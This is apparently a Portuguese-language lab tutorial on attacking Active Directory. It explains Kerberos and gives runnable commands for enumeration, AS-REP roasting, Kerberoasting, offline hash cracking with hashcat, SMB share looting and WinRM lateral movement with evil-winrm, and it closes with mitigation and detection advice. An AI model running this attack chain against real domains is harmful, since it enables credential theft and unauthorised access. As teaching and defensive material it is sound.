Active Directory - Conceitos e Comandos do Lab 1

Objetivo Técnico

Explicar os blocos fundamentais usados em um laboratório inicial de Active Directory: Domain Controller, Kerberos, AS-REQ, AS-REP, TGT, TGS, SPN, AS-REP Roasting, Kerberoasting, SMB, WinRM e validação de credenciais. A leitura deve ajudar a entender o motivo de cada comando antes de executar a técnica.

PTES aplicado ao estudo do Lab 1

Pre-Engagement -> escopo: dc01, client01, dominio lab.local
Intelligence Gathering -> portas, dominio, usuarios, SPNs e shares
Threat Modeling -> quais identidades e servicos podem abrir caminho
Vulnerability Analysis -> AS-REP, Kerberoasting, credencial em SMB, admin local
Exploitation -> crack offline, autenticacao, WinRM
Post-Exploitation -> prova de privilegio local e evidencias finais
Reporting -> finding, impacto, deteccao, mitigacao e reteste

Mapa Mental de Active Directory

Em AD, quase tudo passa por identidade. O domínio centraliza usuários, computadores, grupos, políticas e autenticação. O Domain Controller é o ponto que responde Kerberos, LDAP, DNS de domínio e várias consultas críticas.

Kerberos em 5 Passos

Kerberos evita enviar a senha para cada serviço. O cliente prova identidade ao DC, recebe tickets e usa esses tickets para acessar serviços. Entender essa sequência explica por que AS-REP Roasting e Kerberoasting são ataques offline contra material criptográfico.

1) AS-REQ
   Cliente -> DC/KDC
   Pedido inicial de autenticacao.

2) AS-REP
   DC/KDC -> Cliente
   Resposta do KDC. Se pre-auth estiver desabilitado, pode conter material crackavel.

3) TGT
   Ticket Granting Ticket.
   Prova que o usuario autenticou e pode pedir tickets de servico.

4) TGS-REQ / TGS
   Cliente pede um ticket para acessar um servico especifico.
   Exemplo de servico: MSSQLSvc/sql.lab.local.

5) Acesso ao servico
   Cliente apresenta o TGS ao servico.
   O servico valida o ticket sem receber a senha do usuario.

Glossário Kerberos Usado no Lab

Se encontrar a grafia AS-RES em anotações, trate como confusão comum com AS-REP. O termo usado na documentação técnica de Kerberos para a resposta é AS-REP.

Ferramentas do Fluxo

Comandos do Lab 1 com Explicação

Use os comandos como roteiro de estudo. Em um report, salve a saída relevante, mas publique senhas, hashes e flags somente de forma mascarada.

1. Descobrir serviços AD

nmap -Pn -sV -sC -oA evidence/level-01/enum/nmap-dc01 192.168.56.10
nmap -Pn -sV -sC -oA evidence/level-01/enum/nmap-client01 192.168.56.11

O objetivo é provar quais serviços existem antes de escolher a técnica. Kerberos e LDAP indicam DC; SMB permite share enum; WinRM indica possível administração remota.

2. Preparar usuários para teste Kerberos

printf "%s\n" user1 svc_sql helpdesk administrator > users.txt

A lista de usuários é entrada para testar quais contas podem responder com material útil. Em ambiente real, essa lista deve vir de enumeração autorizada e ter controle para evitar ruído.

3. AS-REP Roasting

impacket-GetNPUsers lab.local/ -usersfile users.txt -no-pass -dc-ip 192.168.56.10 \
  -outputfile evidence/level-01/hashes/asrep.hash

hashcat -m 18200 evidence/level-01/hashes/asrep.hash /usr/share/wordlists/rockyou.txt
hashcat -m 18200 evidence/level-01/hashes/asrep.hash --show

crackmapexec smb 192.168.56.10 -u user1 -p '<PASSWORD_REDACTED>'

Se a conta não exige pre-auth, o DC pode devolver AS-REP crackável offline. O impacto só fica demonstrado quando a senha recuperada é validada contra um serviço em escopo.

4. Kerberoasting com SPN

impacket-GetUserSPNs lab.local/user1:'<PASSWORD_REDACTED>' -dc-ip 192.168.56.10 -request \
  -outputfile evidence/level-01/hashes/tgs.hash

hashcat -m 13100 evidence/level-01/hashes/tgs.hash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 evidence/level-01/hashes/tgs.hash --show

crackmapexec smb 192.168.56.10 -u svc_sql -p '<PASSWORD_REDACTED>'

Kerberoasting não depende de pre-auth desabilitado. Um usuário autenticado pode solicitar TGS para um SPN. Se a conta de serviço usa senha fraca, o ticket pode ser crackado offline.

5. SMB Share e credenciais expostas

crackmapexec smb 192.168.56.10 -u user1 -p '<PASSWORD_REDACTED>' --shares

smbclient //192.168.56.10/IT -U 'user1%<PASSWORD_REDACTED>'

ls
get notes.txt evidence/level-01/smb/notes.txt
exit

sed 's/password=.*/password=<PASSWORD_REDACTED>/i' evidence/level-01/smb/notes.txt \
  > evidence/level-01/smb/notes-redacted.txt

A vulnerabilidade não é simplesmente existir um share. O problema é permissão excessiva combinada com segredo em arquivo. A evidência deve mostrar acesso, conteúdo sensível mascarado e impacto da credencial recuperada.

6. WinRM e local admin

crackmapexec winrm 192.168.56.11 -u helpdesk -p '<PASSWORD_REDACTED>'
evil-winrm -i 192.168.56.11 -u helpdesk -p '<PASSWORD_REDACTED>'

hostname
whoami
whoami /groups
whoami /priv

WinRM prova movimento lateral quando a conta tem permissão remota. O ponto crítico no report é diferenciar autenticação válida de privilégio administrativo local.

Como Transformar em Finding

Mitigação e Detecção

• Habilitar Kerberos pre-authentication para contas humanas e revisar exceções.
• Usar gMSA ou senhas longas e aleatórias para contas de serviço com SPN.
• Remover credenciais de shares, scripts e arquivos de operação; rotacionar qualquer segredo exposto.
• Reduzir administradores locais e aplicar Windows LAPS quando houver necessidade operacional.
• Alertar AS-REQ sem pre-auth, TGS-REQ anômalo, leitura de arquivos sensíveis em SMB e logon WinRM fora do baseline.
• Guardar logs em formato correlacionável, com host, conta, origem, destino, horário e resultado.